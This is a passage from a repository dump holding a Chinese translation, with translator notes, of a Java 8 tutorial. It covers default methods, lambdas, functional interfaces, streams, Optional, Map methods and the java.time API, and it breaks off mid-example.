defaultMethod = new DefaultMethod();\n        System.out.println(defaultMethod.defaultMethod());\n    }\n}\n\n运行输出 : \n4396\n9527\n996\n```\n"
  },
  {
    "path": "docs/java/What's New in JDK8/Java8Tutorial.md",
    "content": "随着 Java 8 的普及度越来越高，很多人都提到面试中关于Java 8 也是非常常问的知识点。应各位要求和需要，我打算对这部分知识做一个总结。本来准备自己总结的，后面看到Github 上有一个相关的仓库，地址：\n[https://github.com/winterbe/java8-tutorial](https://github.com/winterbe/java8-tutorial)。这个仓库是英文的，我对其进行了翻译并添加和修改了部分内容，下面是正文了。\n\n<!-- MarkdownTOC -->\n\n- [Java 8 Tutorial](#java-8-tutorial)\n    - [接口的默认方法\\(Default Methods for Interfaces\\)](#接口的默认方法default-methods-for-interfaces)\n    - [Lambda表达式\\(Lambda expressions\\)](#lambda表达式lambda-expressions)\n    - [函数式接口\\(Functional Interfaces\\)](#函数式接口functional-interfaces)\n    - [方法和构造函数引用\\(Method and Constructor References\\)](#方法和构造函数引用method-and-constructor-references)\n    - [Lamda 表达式作用域\\(Lambda Scopes\\)](#lamda-表达式作用域lambda-scopes)\n      - [访问局部变量](#访问局部变量)\n      - [访问字段和静态变量](#访问字段和静态变量)\n      - [访问默认接口方法](#访问默认接口方法)\n    - [内置函数式接口\\(Built-in Functional Interfaces\\)](#内置函数式接口built-in-functional-interfaces)\n      - [Predicates](#predicates)\n      - [Functions](#functions)\n      - [Suppliers](#suppliers)\n      - [Consumers](#consumers)\n      - [Comparators](#comparators)\n  - [Optionals](#optionals)\n  - [Streams\\(流\\)](#streams流)\n    - [Filter\\(过滤\\)](#filter过滤)\n    - [Sorted\\(排序\\)](#sorted排序)\n    - [Map\\(映射\\)](#map映射)\n    - [Match\\(匹配\\)](#match匹配)\n    - [Count\\(计数\\)](#count计数)\n    - [Reduce\\(规约\\)](#reduce规约)\n  - [Parallel Streams\\(并行流\\)](#parallel-streams并行流)\n    - [Sequential Sort\\(串行排序\\)](#sequential-sort串行排序)\n    - [Parallel Sort\\(并行排序\\)](#parallel-sort并行排序)\n  - [Maps](#maps)\n  - [Date API\\(日期相关API\\)](#date-api日期相关api)\n    - [Clock](#clock)\n    - [Timezones\\(时区\\)](#timezones时区)\n    - [LocalTime\\(本地时间\\)](#localtime本地时间)\n    - [LocalDate\\(本地日期\\)](#localdate本地日期)\n    - [LocalDateTime\\(本地日期时间\\)](#localdatetime本地日期时间)\n  - [Annotations\\(注解\\)](#annotations注解)\n  - [Whete to go from here?](#whete-to-go-from-here)\n\n<!-- /MarkdownTOC -->\n\n\n# Java 8 Tutorial \n\n欢迎阅读我对Java 8的介绍。本教程将逐步指导您完成所有新语言功能。 在简短的代码示例的基础上，您将学习如何使用默认接口方法，lambda表达式，方法引用和可重复注释。 在本文的最后，您将熟悉最新的 API 更改，如流，函数式接口(Functional Interfaces)，Map 类的扩展和新的 Date API。 没有大段枯燥的文字，只有一堆注释的代码片段。\n\n\n### 接口的默认方法(Default Methods for Interfaces)\n\nJava 8使我们能够通过使用 `default` 关键字向接口添加非抽象方法实现。 此功能也称为[虚拟扩展方法](http://stackoverflow.com/a/24102730)。\n\n第一个例子：\n\n```java\ninterface Formula{\n\n    double calculate(int a);\n\n    default double sqrt(int a) {\n        return Math.sqrt(a);\n    }\n\n}\n```\n\nFormula 接口中除了抽象方法计算接口公式还定义了默认方法 `sqrt`。 实现该接口的类只需要实现抽象方法 `calculate`。 默认方法`sqrt` 可以直接使用。当然你也可以直接通过接口创建对象，然后实现接口中的默认方法就可以了，我们通过代码演示一下这种方式。\n\n```java\npublic class Main {\n\n  public static void main(String[] args) {\n    // TODO 通过匿名内部类方式访问接口\n    Formula formula = new Formula() {\n        @Override\n        public double calculate(int a) {\n            return sqrt(a * 100);\n        }\n    };\n\n    System.out.println(formula.calculate(100));     // 100.0\n    System.out.println(formula.sqrt(16));           // 4.0\n\n  }\n\n}\n```\n\n formula 是作为匿名对象实现的。该代码非常容易理解，6行代码实现了计算 `sqrt(a * 100)`。在下一节中，我们将会看到在 Java 8 中实现单个方法对象有一种更好更方便的方法。\n\n**译者注：** 不管是抽象类还是接口，都可以通过匿名内部类的方式访问。不能通过抽象类或者接口直接创建对象。对于上面通过匿名内部类方式访问接口，我们可以这样理解：一个内部类实现了接口里的抽象方法并且返回一个内部类对象，之后我们让接口的引用来指向这个对象。\n\n### Lambda表达式(Lambda expressions)\n\n首先看看在老版本的Java中是如何排列字符串的：\n\n```java\nList<String> names = Arrays.asList(\"peter\", \"anna\", \"mike\", \"xenia\");\n\nCollections.sort(names, new Comparator<String>() {\n    @Override\n    public int compare(String a, String b) {\n        return b.compareTo(a);\n    }\n});\n```\n\n只需要给静态方法` Collections.sort` 传入一个 List 对象以及一个比较器来按指定顺序排列。通常做法都是创建一个匿名的比较器对象然后将其传递给 `sort` 方法。\n\n在Java 8 中你就没必要使用这种传统的匿名对象的方式了，Java 8提供了更简洁的语法，lambda表达式：\n\n```java\nCollections.sort(names, (String a, String b) -> {\n    return b.compareTo(a);\n});\n```\n\n可以看出，代码变得更段且更具有可读性，但是实际上还可以写得更短：\n\n```java\nCollections.sort(names, (String a, String b) -> b.compareTo(a));\n```\n\n对于函数体只有一行代码的，你可以去掉大括号{}以及return关键字，但是你还可以写得更短点：\n\n```java\nnames.sort((a, b) -> b.compareTo(a));\n```\n\nList 类本身就有一个 `sort` 方法。并且Java编译器可以自动推导出参数类型，所以你可以不用再写一次类型。接下来我们看看lambda表达式还有什么其他用法。\n\n### 函数式接口(Functional Interfaces)\n\n**译者注：** 原文对这部分解释不太清楚，故做了修改！\n\nJava 语言设计者们投入了大量精力来思考如何使现有的函数友好地支持Lambda。最终采取的方法是：增加函数式接口的概念。**“函数式接口”是指仅仅只包含一个抽象方法,但是可以有多个非抽象方法(也就是上面提到的默认方法)的接口。** 像这样的接口，可以被隐式转换为lambda表达式。`java.lang.Runnable` 与 `java.util.concurrent.Callable` 是函数式接口最典型的两个例子。Java 8增加了一种特殊的注解`@FunctionalInterface`,但是这个注解通常不是必须的(某些情况建议使用)，只要接口只包含一个抽象方法，虚拟机会自动判断该接口为函数式接口。一般建议在接口上使用`@FunctionalInterface` 注解进行声明，这样的话，编译器如果发现你标注了这个注解的接口有多于一个抽象方法的时候会报错的，如下图所示\n\n![@FunctionalInterface 注解](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-2/@FunctionalInterface.png)\n\n示例：\n\n```java\n@FunctionalInterface\npublic interface Converter<F, T> {\n  T convert(F from);\n}\n```\n\n```java\n    // TODO 将数字字符串转换为整数类型\n    Converter<String, Integer> converter = (from) -> Integer.valueOf(from);\n    Integer converted = converter.convert(\"123\");\n    System.out.println(converted.getClass()); //class java.lang.Integer\n```\n\n**译者注：** 大部分函数式接口都不用我们自己写，Java8都给我们实现好了，这些接口都在java.util.function包里。\n\n### 方法和构造函数引用(Method and Constructor References)\n\n前一节中的代码还可以通过静态方法引用来表示：\n\n```java\n    Converter<String, Integer> converter = Integer::valueOf;\n    Integer converted = converter.convert(\"123\");\n    System.out.println(converted.getClass());   //class java.lang.Integer\n```\nJava 8允许您通过`::`关键字传递方法或构造函数的引用。 上面的示例显示了如何引用静态方法。 但我们也可以引用对象方法：\n\n```java\nclass Something {\n    String startsWith(String s) {\n        return String.valueOf(s.charAt(0));\n    }\n}\n```\n\n```java\nSomething something = new Something();\nConverter<String, String> converter = something::startsWith;\nString converted = converter.convert(\"Java\");\nSystem.out.println(converted);    // \"J\"\n```\n\n接下来看看构造函数是如何使用`::`关键字来引用的，首先我们定义一个包含多个构造函数的简单类：\n\n```java\nclass Person {\n    String firstName;\n    String lastName;\n\n    Person() {}\n\n    Person(String firstName, String lastName) {\n        this.firstName = firstName;\n        this.lastName = lastName;\n    }\n}\n```\n接下来我们指定一个用来创建Person对象的对象工厂接口：\n\n```java\ninterface PersonFactory<P extends Person> {\n    P create(String firstName, String lastName);\n}\n```\n\n这里我们使用构造函数引用来将他们关联起来，而不是手动实现一个完整的工厂：\n\n```java\nPersonFactory<Person> personFactory = Person::new;\nPerson person = personFactory.create(\"Peter\", \"Parker\");\n```\n我们只需要使用 `Person::new` 来获取Person类构造函数的引用，Java编译器会自动根据`PersonFactory.create`方法的参数类型来选择合适的构造函数。\n\n### Lamda 表达式作用域(Lambda Scopes)\n\n#### 访问局部变量\n\n我们可以直接在 lambda 表达式中访问外部的局部变量：\n\n```java\nfinal int num = 1;\nConverter<Integer, String> stringConverter =\n        (from) -> String.valueOf(from + num);\n\nstringConverter.convert(2);     // 3\n```\n\n但是和匿名对象不同的是，这里的变量num可以不用声明为final，该代码同样正确：\n\n```java\nint num = 1;\nConverter<Integer, String> stringConverter =\n        (from) -> String.valueOf(from + num);\n\nstringConverter.convert(2);     // 3\n```\n\n不过这里的 num 必须不可被后面的代码修改（即隐性的具有final的语义），例如下面的就无法编译：\n\n```java\nint num = 1;\nConverter<Integer, String> stringConverter =\n        (from) -> String.valueOf(from + num);\nnum = 3;//在lambda表达式中试图修改num同样是不允许的。\n```\n\n#### 访问字段和静态变量\n\n与局部变量相比，我们对lambda表达式中的实例字段和静态变量都有读写访问权限。 该行为和匿名对象是一致的。\n\n```java\nclass Lambda4 {\n    static int outerStaticNum;\n    int outerNum;\n\n    void testScopes() {\n        Converter<Integer, String> stringConverter1 = (from) -> {\n            outerNum = 23;\n            return String.valueOf(from);\n        };\n\n        Converter<Integer, String> stringConverter2 = (from) -> {\n            outerStaticNum = 72;\n            return String.valueOf(from);\n        };\n    }\n}\n```\n\n#### 访问默认接口方法\n\n还记得第一节中的 formula 示例吗？ `Formula` 接口定义了一个默认方法`sqrt`，可以从包含匿名对象的每个 formula 实例访问该方法。 这不适用于lambda表达式。\n\n无法从 lambda 表达式中访问默认方法,故以下代码无法编译：\n\n```java\nFormula formula = (a) -> sqrt(a * 100);\n```\n\n### 内置函数式接口(Built-in Functional Interfaces)\n\nJDK 1.8 API包含许多内置函数式接口。 其中一些借口在老版本的 Java 中是比较常见的比如： `Comparator` 或`Runnable`，这些接口都增加了`@FunctionalInterface`注解以便能用在 lambda 表达式上。\n\n但是 Java 8 API 同样还提供了很多全新的函数式接口来让你的编程工作更加方便，有一些接口是来自 [Google Guava](https://code.google.com/p/guava-libraries/) 库里的，即便你对这些很熟悉了，还是有必要看看这些是如何扩展到lambda上使用的。\n\n#### Predicates\n\nPredicate 接口是只有一个参数的返回布尔类型值的 **断言型** 接口。该接口包含多种默认方法来将 Predicate 组合成其他复杂的逻辑（比如：与，或，非）：\n\n**译者注：** Predicate 接口源码如下\n\n```java\npackage java.util.function;\nimport java.util.Objects;\n\n@FunctionalInterface\npublic interface Predicate<T> {\n    \n    // 该方法是接受一个传入类型,返回一个布尔值.此方法应用于判断.\n    boolean test(T t);\n\n    //and方法与关系型运算符\"&&\"相似，两边都成立才返回true\n    default Predicate<T> and(Predicate<? super T> other) {\n        Objects.requireNonNull(other);\n        return (t) -> test(t) && other.test(t);\n    }\n    // 与关系运算符\"!\"相似，对判断进行取反\n    default Predicate<T> negate() {\n        return (t) -> !test(t);\n    }\n    //or方法与关系型运算符\"||\"相似，两边只要有一个成立就返回true\n    default Predicate<T> or(Predicate<? super T> other) {\n        Objects.requireNonNull(other);\n        return (t) -> test(t) || other.test(t);\n    }\n   // 该方法接收一个Object对象,返回一个Predicate类型.此方法用于判断第一个test的方法与第二个test方法相同(equal).\n    static <T> Predicate<T> isEqual(Object targetRef) {\n        return (null == targetRef)\n                ? Objects::isNull\n                : object -> targetRef.equals(object);\n    }\n```\n\n示例：\n\n```java\nPredicate<String> predicate = (s) -> s.length() > 0;\n\npredicate.test(\"foo\");              // true\npredicate.negate().test(\"foo\");     // false\n\nPredicate<Boolean> nonNull = Objects::nonNull;\nPredicate<Boolean> isNull = Objects::isNull;\n\nPredicate<String> isEmpty = String::isEmpty;\nPredicate<String> isNotEmpty = isEmpty.negate();\n```\n\n#### Functions\n\nFunction 接口接受一个参数并生成结果。默认方法可用于将多个函数链接在一起（compose, andThen）：\n\n**译者注：** Function  接口源码如下\n\n```java\n\npackage java.util.function;\n \nimport java.util.Objects;\n \n@FunctionalInterface\npublic interface Function<T, R> {\n    \n    //将Function对象应用到输入的参数上，然后返回计算结果。\n    R apply(T t);\n    //将两个Function整合，并返回一个能够执行两个Function对象功能的Function对象。\n    default <V> Function<V, R> compose(Function<? super V, ? extends T> before) {\n        Objects.requireNonNull(before);\n        return (V v) -> apply(before.apply(v));\n    }\n    // \n    default <V> Function<T, V> andThen(Function<? super R, ? extends V> after) {\n        Objects.requireNonNull(after);\n        return (T t) -> after.apply(apply(t));\n    }\n \n    static <T> Function<T, T> identity() {\n        return t -> t;\n    }\n}\n```\n\n\n\n```java\nFunction<String, Integer> toInteger = Integer::valueOf;\nFunction<String, String> backToString = toInteger.andThen(String::valueOf);\nbackToString.apply(\"123\");     // \"123\"\n```\n\n#### Suppliers\n\nSupplier 接口产生给定泛型类型的结果。 与 Function 接口不同，Supplier 接口不接受参数。\n\n```java\nSupplier<Person> personSupplier = Person::new;\npersonSupplier.get();   // new Person\n```\n\n#### Consumers\n\nConsumer 接口表示要对单个输入参数执行的操作。\n\n```java\nConsumer<Person> greeter = (p) -> System.out.println(\"Hello, \" + p.firstName);\ngreeter.accept(new Person(\"Luke\", \"Skywalker\"));\n```\n\n#### Comparators\n\nComparator 是老Java中的经典接口， Java 8在此之上添加了多种默认方法：\n\n```java\nComparator<Person> comparator = (p1, p2) -> p1.firstName.compareTo(p2.firstName);\n\nPerson p1 = new Person(\"John\", \"Doe\");\nPerson p2 = new Person(\"Alice\", \"Wonderland\");\n\ncomparator.compare(p1, p2);             // > 0\ncomparator.reversed().compare(p1, p2);  // < 0\n```\n\n## Optionals\n\nOptionals不是函数式接口，而是用于防止 NullPointerException 的漂亮工具。这是下一节的一个重要概念，让我们快速了解一下Optionals的工作原理。\n\nOptional 是一个简单的容器，其值可能是null或者不是null。在Java 8之前一般某个函数应该返回非空对象但是有时却什么也没有返回，而在Java 8中，你应该返回 Optional 而不是 null。\n\n译者注：示例中每个方法的作用已经添加。\n\n```java\n//of（）：为非null的值创建一个Optional\nOptional<String> optional = Optional.of(\"bam\");\n// isPresent（）： 如果值存在返回true，否则返回false\noptional.isPresent();           // true\n//get()：如果Optional有值则将其返回，否则抛出NoSuchElementException\noptional.get();                 // \"bam\"\n//orElse（）：如果有值则将其返回，否则返回指定的其它值\noptional.orElse(\"fallback\");    // \"bam\"\n//ifPresent（）：如果Optional实例有值则为其调用consumer，否则不做处理\noptional.ifPresent((s) -> System.out.println(s.charAt(0)));     // \"b\"\n```\n\n推荐阅读：[[Java8]如何正确使用Optional](https://blog.kaaass.net/archives/764)\n\n## Streams(流)\n\n`java.util.Stream` 表示能应用在一组元素上一次执行的操作序列。Stream 操作分为中间操作或者最终操作两种，最终操作返回一特定类型的计算结果，而中间操作返回Stream本身，这样你就可以将多个操作依次串起来。Stream 的创建需要指定一个数据源，比如` java.util.Collection` 的子类，List 或者 Set， Map 不支持。Stream 的操作可以串行执行或者并行执行。\n\n首先看看Stream是怎么用，首先创建实例代码的用到的数据List：\n\n```java\nList<String> stringCollection = new ArrayList<>();\nstringCollection.add(\"ddd2\");\nstringCollection.add(\"aaa2\");\nstringCollection.add(\"bbb1\");\nstringCollection.add(\"aaa1\");\nstringCollection.add(\"bbb3\");\nstringCollection.add(\"ccc\");\nstringCollection.add(\"bbb2\");\nstringCollection.add(\"ddd1\");\n```\n\nJava 8扩展了集合类，可以通过 Collection.stream() 或者 Collection.parallelStream() 来创建一个Stream。下面几节将详细解释常用的Stream操作：\n\n### Filter(过滤)\n\n过滤通过一个predicate接口来过滤并只保留符合条件的元素，该操作属于**中间操作**，所以我们可以在过滤后的结果来应用其他Stream操作（比如forEach）。forEach需要一个函数来对过滤后的元素依次执行。forEach是一个最终操作，所以我们不能在forEach之后来执行其他Stream操作。\n\n```java\n        // 测试 Filter(过滤)\n        stringList\n                .stream()\n                .filter((s) -> s.startsWith(\"a\"))\n                .forEach(System.out::println);//aaa2 aaa1\n```\n\nforEach 是为 Lambda 而设计的，保持了最紧凑的风格。而且 Lambda 表达式本身是可以重用的，非常方便。\n\n### Sorted(排序)\n\n排序是一个 **中间操作**，返回的是排序好后的 Stream。**如果你不指定一个自定义的 Comparator 则会使用默认排序。**\n\n```java\n        // 测试 Sort (排序)\n        stringList\n                .stream()\n                .sorted()\n                .filter((s) -> s.startsWith(\"a\"))\n                .forEach(System.out::println);// aaa1 aaa2\n```\n\n需要注意的是，排序只创建了一个排列好后的Stream，而不会影响原有的数据源，排序之后原数据stringCollection是不会被修改的：\n\n```java\n    System.out.println(stringList);// ddd2, aaa2, bbb1, aaa1, bbb3, ccc, bbb2, ddd1\n```\n\n### Map(映射)\n\n中间操作 map 会将元素根据指定的 Function 接口来依次将元素转成另外的对象。\n\n下面的示例展示了将字符串转换为大写字符串。你也可以通过map来讲对象转换成其他类型，map返回的Stream类型是根据你map传递进去的函数的返回值决定的。\n\n```java\n        // 测试 Map 操作\n        stringList\n                .stream()\n                .map(String::toUpperCase)\n                .sorted((a, b) -> b.compareTo(a))\n                .forEach(System.out::println);// \"DDD2\", \"DDD1\", \"CCC\", \"BBB3\", \"BBB2\", \"AAA2\", \"AAA1\"\n```\n\n\n\n### Match(匹配)\n\nStream提供了多种匹配操作，允许检测指定的Predicate是否匹配整个Stream。所有的匹配操作都是 **最终操作** ，并返回一个 boolean 类型的值。\n\n```java\n        // 测试 Match (匹配)操作\n        boolean anyStartsWithA =\n                stringList\n                        .stream()\n                        .anyMatch((s) -> s.startsWith(\"a\"));\n        System.out.println(anyStartsWithA);      // true\n\n        boolean allStartsWithA =\n                stringList\n                        .stream()\n                        .allMatch((s) -> s.startsWith(\"a\"));\n\n        System.out.println(allStartsWithA);      // false\n\n        boolean noneStartsWithZ =\n                stringList\n                        .stream()\n                        .noneMatch((s) -> s.startsWith(\"z\"));\n\n        System.out.println(noneStartsWithZ);      // true\n```\n\n\n\n### Count(计数)\n\n计数是一个 **最终操作**，返回Stream中元素的个数，**返回值类型是 long**。\n\n```java\n      //测试 Count (计数)操作\n        long startsWithB =\n                stringList\n                        .stream()\n                        .filter((s) -> s.startsWith(\"b\"))\n                        .count();\n        System.out.println(startsWithB);    // 3\n```\n\n### Reduce(规约)\n\n这是一个 **最终操作** ，允许通过指定的函数来讲stream中的多个元素规约为一个元素，规约后的结果是通过Optional 接口表示的：\n\n```java\n        //测试 Reduce (规约)操作\n        Optional<String> reduced =\n                stringList\n                        .stream()\n                        .sorted()\n                        .reduce((s1, s2) -> s1 + \"#\" + s2);\n\n        reduced.ifPresent(System.out::println);//aaa1#aaa2#bbb1#bbb2#bbb3#ccc#ddd1#ddd2\n```\n\n\n\n**译者注：** 这个方法的主要作用是把 Stream 元素组合起来。它提供一个起始值（种子），然后依照运算规则（BinaryOperator），和前面 Stream 的第一个、第二个、第 n 个元素组合。从这个意义上说，字符串拼接、数值的 sum、min、max、average 都是特殊的 reduce。例如 Stream 的 sum 就相当于`Integer sum = integers.reduce(0, (a, b) -> a+b);`也有没有起始值的情况，这时会把 Stream 的前面两个元素组合起来，返回的是 Optional。\n\n```java\n// 字符串连接，concat = \"ABCD\"\nString concat = Stream.of(\"A\", \"B\", \"C\", \"D\").reduce(\"\", String::concat); \n// 求最小值，minValue = -3.0\ndouble minValue = Stream.of(-1.5, 1.0, -3.0, -2.0).reduce(Double.MAX_VALUE, Double::min); \n// 求和，sumValue = 10, 有起始值\nint sumValue = Stream.of(1, 2, 3, 4).reduce(0, Integer::sum);\n// 求和，sumValue = 10, 无起始值\nsumValue = Stream.of(1, 2, 3, 4).reduce(Integer::sum).get();\n// 过滤，字符串连接，concat = \"ace\"\nconcat = Stream.of(\"a\", \"B\", \"c\", \"D\", \"e\", \"F\").\n filter(x -> x.compareTo(\"Z\") > 0).\n reduce(\"\", String::concat);\n```\n\n上面代码例如第一个示例的 reduce()，第一个参数（空白字符）即为起始值，第二个参数（String::concat）为 BinaryOperator。这类有起始值的 reduce() 都返回具体的对象。而对于第四个示例没有起始值的 reduce()，由于可能没有足够的元素，返回的是 Optional，请留意这个区别。更多内容查看： [IBM：Java 8 中的 Streams API 详解](https://www.ibm.com/developerworks/cn/java/j-lo-java8streamapi/index.html) \n\n## Parallel Streams(并行流)\n\n前面提到过Stream有串行和并行两种，串行Stream上的操作是在一个线程中依次完成，而并行Stream则是在多个线程上同时执行。\n\n下面的例子展示了是如何通过并行Stream来提升性能：\n\n首先我们创建一个没有重复元素的大表：\n\n```java\nint max = 1000000;\nList<String> values = new ArrayList<>(max);\nfor (int i = 0; i < max; i++) {\n    UUID uuid = UUID.randomUUID();\n    values.add(uuid.toString());\n}\n```\n\n我们分别用串行和并行两种方式对其进行排序，最后看看所用时间的对比。\n\n### Sequential Sort(串行排序)\n\n```java\n//串行排序\nlong t0 = System.nanoTime();\nlong count = values.stream().sorted().count();\nSystem.out.println(count);\n\nlong t1 = System.nanoTime();\n\nlong millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0);\nSystem.out.println(String.format(\"sequential sort took: %d ms\", millis));\n```\n\n```\n1000000\nsequential sort took: 709 ms//串行排序所用的时间\n```\n\n### Parallel Sort(并行排序)\n\n```java\n//并行排序\nlong t0 = System.nanoTime();\n\nlong count = values.parallelStream().sorted().count();\nSystem.out.println(count);\n\nlong t1 = System.nanoTime();\n\nlong millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0);\nSystem.out.println(String.format(\"parallel sort took: %d ms\", millis));\n\n```\n\n```java\n1000000\nparallel sort took: 475 ms//串行排序所用的时间\n```\n\n上面两个代码几乎是一样的，但是并行版的快了 50% 左右，唯一需要做的改动就是将 `stream()` 改为`parallelStream()`。\n\n## Maps\n\n前面提到过，Map 类型不支持 streams，不过Map提供了一些新的有用的方法来处理一些日常任务。Map接口本身没有可用的 `stream（）`方法，但是你可以在键，值上创建专门的流或者通过 `map.keySet().stream()`,`map.values().stream()`和`map.entrySet().stream()`。\n\n此外,Maps 支持各种新的和有用的方法来执行常见任务。\n\n```java\nMap<Integer, String> map = new HashMap<>();\n\nfor (int i = 0; i < 10; i++) {\n    map.putIfAbsent(i, \"val\" + i);\n}\n\nmap.forEach((id, val) -> System.out.println(val));//val0 val1 val2 val3 val4 val5 val6 val7 val8 val9\n```\n\n`putIfAbsent` 阻止我们在null检查时写入额外的代码;`forEach`接受一个 consumer 来对 map 中的每个元素操作。\n\n此示例显示如何使用函数在 map 上计算代码：\n\n```java\nmap.computeIfPresent(3, (num, val) -> val + num);\nmap.get(3);             // val33\n\nmap.computeIfPresent(9, (num, val) -> null);\nmap.containsKey(9);     // false\n\nmap.computeIfAbsent(23, num -> \"val\" + num);\nmap.containsKey(23);    // true\n\nmap.computeIfAbsent(3, num -> \"bam\");\nmap.get(3);             // val33\n```\n\n接下来展示如何在Map里删除一个键值全都匹配的项：\n\n```java\nmap.remove(3, \"val3\");\nmap.get(3);             // val33\nmap.remove(3, \"val33\");\nmap.get(3);             // null\n```\n\n另外一个有用的方法：\n\n```java\nmap.getOrDefault(42, \"not found\");  // not found\n```\n\n对Map的元素做合并也变得很容易了：\n\n```java\nmap.merge(9, \"val9\", (value, newValue) -> value.concat(newValue));\nmap.get(9);             // val9\nmap.merge(9, \"concat\", (value, newValue) -> value.concat(newValue));\nmap.get(9);             // val9concat\n```\n\nMerge 做的事情是如果键名不存在则插入，否则则对原键对应的值做合并操作并重新插入到map中。\n\n## Date API(日期相关API)\n\nJava 8在 `java.time` 包下包含一个全新的日期和时间API。新的Date API与Joda-Time库相似，但它们不一样。以下示例涵盖了此新 API 的最重要部分。译者对这部分内容参考相关书籍做了大部分修改。\n\n**译者注(总结)：**\n\n- Clock 类提供了访问当前日期和时间的方法，Clock 是时区敏感的，可以用来取代 `System.currentTimeMillis()` 来获取当前的微秒数。某一个特定的时间点也可以使用 `Instant` 类来表示，`Instant` 类也可以用来创建旧版本的`java.util.Date` 对象。\n\n- 在新API中时区使用 ZoneId 来表示。时区可以很方便的使用静态方法of来获取到。 抽象类`ZoneId`（在`java.time`包中）表示一个区域标识符。 它有一个名为`getAvailableZoneIds`的静态方法，它返回所有区域标识符。\n\n- jdk1.8中新增了 LocalDate 与 LocalDateTime等类来解决日期处理方法，同时引入了一个新的类DateTimeFormatter 来解决日期格式化问题。可以使用Instant代替 Date，LocalDateTime代替 Calendar，DateTimeFormatter 代替 SimpleDateFormat。\n\n  \n\n### Clock\n\nClock 类提供了访问当前日期和时间的方法，Clock 是时区敏感的，可以用来取代 `System.currentTimeMillis()` 来获取当前的微秒数。某一个特定的时间点也可以使用 `Instant` 类来表示，`Instant` 类也可以用来创建旧版本的`java.util.Date` 对象。\n\n```java\nClock clock = Clock.systemDefaultZone();\nlong millis = clock.millis();\nSystem.out.println(millis);//1552379579043\nInstant instant = clock.instant();\nSystem.out.println(instant);\nDate legacyDate = Date.from(instant); //2019-03-12T08:46:42.588Z\nSystem.out.println(legacyDate);//Tue Mar 12 16:32:59 CST 2019\n```\n\n### Timezones(时区)\n\n在新API中时区使用 ZoneId 来表示。时区可以很方便的使用静态方法of来获取到。 抽象类`ZoneId`（在`java.time`包中）表示一个区域标识符。 它有一个名为`getAvailableZoneIds`的静态方法，它返回所有区域标识符。\n\n```java\n//输出所有区域标识符\nSystem.out.println(ZoneId.getAvailableZoneIds());\n\nZoneId zone1 = ZoneId.of(\"Europe/Berlin\");\nZoneId zone2 = ZoneId.of(\"Brazil/East\");\nSystem.out.println(zone1.getRules());// ZoneRules[currentStandardOffset=+01:00]\nSystem.out.println(zone2.getRules());// ZoneRules[currentStandardOffset=-03:00]\n```\n\n### LocalTime(本地时间)\n\nLocalTime 定义了一个没有时区信息的时间，例如 晚上10点或者 17:30:15。下面的例子使用前面代码创建的时区创建了两个本地时间。之后比较时间并以小时和分钟为单位计算两个时间的时间差：\n\n```java\nLocalTime now1 = LocalTime.now(zone1);\nLocalTime now2 = LocalTime.now(zone2);\nSystem.out.println(now1.isBefore(now2));  // false\n\nlong hoursBetween = ChronoUnit.HOURS.between(now1, now2);\nlong minutesBetween = ChronoUnit.MINUTES.between(now1, now2);\n\nSystem.out.println(hoursBetween);       // -3\nSystem.out.println(minutesBetween);     // -239\n```\n\nLocalTime 提供了多种工厂方法来简化对象的创建，包括解析时间字符串.\n\n```java\nLocalTime late = LocalTime.of(23, 59, 59);\nSystem.out.println(late);       // 23:59:59\nDateTimeFormatter germanFormatter =\n    DateTimeFormatter\n        .ofLocalizedTime(FormatStyle.SHORT)\n        .withLocale(Locale.GERMAN);\n\nLocalTime leetTime = LocalTime.parse(\"13:37\", germanFormatter);\nSystem.out.println(leetTime);   // 13:37\n```\n\n### LocalDate(本地日期)\n\nLocalDate 表示了一个确切的日期，比如 2014-03-11。该对象值是不可变的，用起来和LocalTime基本一致。下面的例子展示了如何给Date对象加减天/月/年。另外要注意的是这些对象是不可变的，操作返回的总是一个新实例。\n\n```java\nLocalDate today = LocalDate.now();//获取现在的日期\nSystem.out.println(\"今天的日期: \"+today);//2019-03-12\nLocalDate tomorrow = today.plus(1, ChronoUnit.DAYS);\nSystem.out.println(\"明天的日期: \"+tomorrow);//2019-03-13\nLocalDate yesterday = tomorrow.minusDays(2);\nSystem.out.println(\"昨天的日期: \"+yesterday);//2019-03-11\nLocalDate independenceDay = LocalDate.of(2019, Month.MARCH, 12);\nDayOfWeek dayOfWeek = independenceDay.getDayOfWeek();\nSystem.out.println(\"今天是周几:\"+dayOfWeek);//TUESDAY\n```\n\n从字符串解析一个 LocalDate 类型和解析 LocalTime 一样简单,下面是使用  `DateTimeFormatter` 解析字符串的例子：\n\n```java\n    String str1 = \"2014==04==12 01时06分09秒\";\n        // 根据需要解析的日期、时间字符串定义解析所用的格式器\n        DateTimeFormatter fomatter1 = DateTimeFormatter\n                .ofPattern(\"yyyy==MM==dd HH时mm分ss秒\");\n\n        LocalDateTime dt1 = LocalDateTime.parse(str1, fomatter1);\n        System.out.println(dt1); // 输出 2014-04-12T01:06:09\n\n        String str2 = \"2014$$$四月$$$13 20小时\";\n        DateTimeFormatter fomatter2 = DateTimeFormatter\n                .ofPattern(\"yyy$$$MMM$$$dd HH小时\");\n        LocalDateTime dt2 = LocalDateTime.parse(str2, fomatter2);\n        System.out.println(dt2); // 输出 2014-04-13T20:00\n\n```\n\n再来看一个使用 `DateTimeFormatter` 格式化日期的示例\n\n```java\nLocalDateTime rightNow=LocalDateTime.now();\nString date=DateTimeFormatter.ISO_LOCAL_DATE_TIME.format(rightNow);\nSystem.out.println(date);//2019-03-12T16:26:48.29\nDateTimeFormatter formatter=DateTimeFormatter.ofPattern(\"YYYY-MM-dd HH:mm:ss\");\nSystem.out.println(formatter.format(rightNow));//2019-03-12 16:26:48\n```\n\n### LocalDateTime(本地日期时间)\n\nLocalDateTime 同时表示了时间和日期，相当于前两节内容合并到一个对象上了。LocalDateTime 和 LocalTime还有 LocalDate 一样，都是不可变的。LocalDateTime 提供了一些能访问具体字段的方法。\n\n```java\nLocalDateTime sylvester = LocalDateTime.of(2014, Month.DECEMBER, 31, 23, 59, 59);\n\nDayOfWeek dayOfWeek = sylvester.getDayOfWeek();\nSystem.out.println(dayOfWeek);      // WEDNESDAY\n\nMonth month = sylvester.getMonth();\nSystem.out.println(month);          // DECEMBER\n\nlong minuteOfDay = sylvester.getLong(ChronoField.MINUTE_OF_DAY);\nSystem.out.println(minuteOfDay);    // 1439\n```\n\n只要附加上时区信息，就可以将其转换为一个时间点Instant对象，Instant时间点对象可以很容易的转换为老式的`java.util.Date`。\n\n```java\nInstant instant = sylvester\n        .atZone(ZoneId.systemDefault())\n        .toInstant();\n\nDate legacyDate = 